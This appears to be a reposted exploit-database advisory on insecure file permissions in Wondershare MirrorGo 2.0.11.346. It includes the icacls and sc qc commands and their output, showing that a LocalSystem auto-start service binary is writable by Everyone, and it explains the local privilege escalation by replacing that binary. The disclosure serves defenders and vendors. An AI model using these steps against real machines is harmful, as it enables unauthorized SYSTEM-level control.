发布 2022-02-24 漏洞条目

Wondershare MirrorGo 2.0.11.346 – Insecure File Permissions

Exploit Source

# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions

# Discovery by: Luis Martinez

# Discovery Date: 2022-02-23

# Vendor Homepage: https://www.wondershare.com/

# Software Link : https://download.wondershare.com/mirror_go_full8050.exe

# Tested Version: 2.0.11.346

# Vulnerability Type: Local Privilege Escalation

# Tested on OS: Windows 10 Pro x64 es

# Step to discover Privilege Escalation:

# Insecure folders permissions issue:

C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe"

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F)

C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F)

# Service info:

C:\>sc qc ElevationService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Wondershare Driver Install Service help

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

#Exploit:

A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable

"ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it

with a malicious file that will be executed with "LocalSystem" privileges.

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